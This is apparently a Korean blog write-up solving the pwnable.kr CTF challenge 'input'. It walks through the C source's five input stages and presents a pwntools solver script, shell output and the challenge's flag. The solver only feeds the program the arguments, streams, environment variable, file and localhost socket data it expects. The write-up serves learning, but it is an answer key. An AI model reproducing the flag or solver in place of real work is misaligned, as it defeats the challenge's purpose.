input - 4 pt
Mom? how can I pass my input to a computer program?
ssh input2@pwnable.kr -p2222 (pw:guest)
ssh 접속을 하고 소스를 확인합니다.
input2@ubuntu:~$ ls -l
total 24
-r--r----- 1 input2_pwn root 55 Jun 30 2014 flag
-r-sr-x--- 1 input2_pwn input2 13250 Jun 30 2014 input
-rw-r--r-- 1 root root 1754 Jun 30 2014 input.c
input2@ubuntu:~$ cat input.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
int main(int argc, char* argv[], char* envp[]){
printf("Welcome to pwnable.kr\n");
printf("Let's see if you know how to give input to program\n");
printf("Just give me correct inputs then you will get the flag :)\n");
// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");
// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");
// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");
// file
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");
// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");
// here's your flag
system("/bin/cat flag");
return 0;
}
코드가 상당히 기네요.. 차근차근 살펴봅시다.
전체적으로 보았을때 Stage 1 부터 5까지 모두 통과해야 플래그를 얻을 수 있는 것 같습니다.
그럼 먼저 Stage1을 통과하기위한 조건을 봅시다.
// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");
1. 인자의 개수 = 100개
2. argv['A'] = \x00
3. argv['B'] = \x20\x0a\x0d
이면 스테이지 1이 클리어가 되네요.
// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");
Stage2입니다.
pwnable.kr의 fd문제에서 read함수의 fd값을 공부했던적이 있었습니다.
stdin으로 \x00\x0a\x00\xff 입력을 주고 sterr로 \x00\x0a\x02\xff을 주어야 클리어할 수 있습니다.
// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");
stage 3 입니다.
환경변수네요. \xde\xad\xbe\xef 라는 환경변수에 \xca\xfe\xba\xbe 값을 넣어주면 됩니다.
// file
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");
stage 4 입니다.
\x0a라는 파일을 열고, 읽어온 첫 4바이트가 \x00\x00\x00\x00 이어야 클리어네요.
// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");
stage5 입니다.
atoi(argv['C']) = argv['C']의 정수형으로 변환한 값을 포트번호로 소켓서버를 열고
\xde\xad\xbe\xef 을 보내주면 stage5가 클리어 된다.
그럼 익스플로잇을 작성하겠습니다.
http://gmltnscv.tistory.com/27 이 분의 익스플로잇 코드를 참고했습니다...
Python으로 작성하였고, Pwntools를 사용했습니당.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | from pwn import * #stage1 argvs = [str(i) for i in range(100)] argvs[ord('A')] = '\x00' argvs[ord('B')] = '\x20\x0a\x0d' #stage2 with open('./stderr', 'a') as f: f.write('\x00\x0a\x02\xff') #stage3 envVal = {'\xde\xad\xbe\xef':'\xca\xfe\xba\xbe'} #stage4 with open('./\x0a', 'a') as f: f.write('\x00\x00\x00\x00') #stage5 argvs[ord('C')] = '40000' #인자전달, stderr 파일 열기, 환경변수 설정등 target = process(executable='/home/input2/input', argv=argvs, stderr=open('./stderr'), env=envVal) #stage2의 stdin target.sendline('\x00\x0a\x00\xff') #다시 stage5, 포트가 argv['C']와 일치해야겠죠? conn = remote('localhost', 40000) conn.send('\xde\xad\xbe\xef') target.interactive() | cs |
그런데 이 코드를 현재 디렉토리에서는 작성할수가 없습니다. 권한이 없기 때문...
그래서 권한이 있는 /tmp를 이용해야 한다고 합니다!
/tmp에 코드를 작성하고 실행해보겠습니다.
input2@ubuntu:~$ cd /tmp
input2@ubuntu:/tmp$ mkdir m4ndu
input2@ubuntu:/tmp$ cd m4ndu
input2@ubuntu:/tmp/m4ndu$ vi ex.py
input2@ubuntu:/tmp/m4ndu$ python ex.py
[+] Starting local process '/home/input2/input': Done
[+] Opening connection to localhost on port 40000: Done
[*] Switching to interactive mode
Welcome to pwnable.kr
Let's see if you know how to give input to program
Just give me correct inputs then you will get the flag :)
Stage 1 clear!
Stage 2 clear!
Stage 3 clear!
Stage 4 clear!
Stage 5 clear!
[*] Process '/home/input2/input' stopped with exit code 0
[*] Got EOF while reading in interactive
$
엇 플래그가 뜨지 않습니다.. 플래그 파일이 현재 경로에 없기 때문이죠..
그렇다고 플래그 파일을 복사해 올 수도 없습니다.
그래서 심볼릭 링크를 걸어주고 다시 실행하면 됩니당
input2@ubuntu:/tmp/m4ndu$ ln -s /home/input2/flag flag
input2@ubuntu:/tmp/m4ndu$ ls
flag
input2@ubuntu:/tmp/m4ndu$ vi exex.py
[2]+ Stopped vi exex.py
input2@ubuntu:/tmp/m4ndu$ vi ex.py
input2@ubuntu:/tmp/m4ndu$ python ex.py
[+] Starting local process '/home/input2/input': Done
[+] Opening connection to localhost on port 40000: Done
[*] Switching to interactive mode
Welcome to pwnable.kr
Let's see if you know how to give input to program
Just give me correct inputs then you will get the flag :)
Stage 1 clear!
Stage 2 clear!
Stage 3 clear!
Stage 4 clear!
Stage 5 clear!
Mommy! I learned how to pass various input in Linux :)
[*] Got EOF while reading in interactive
$
flag를 얻었습니다!!
FLAG : Mommy! I learned how to pass various input in Linux :)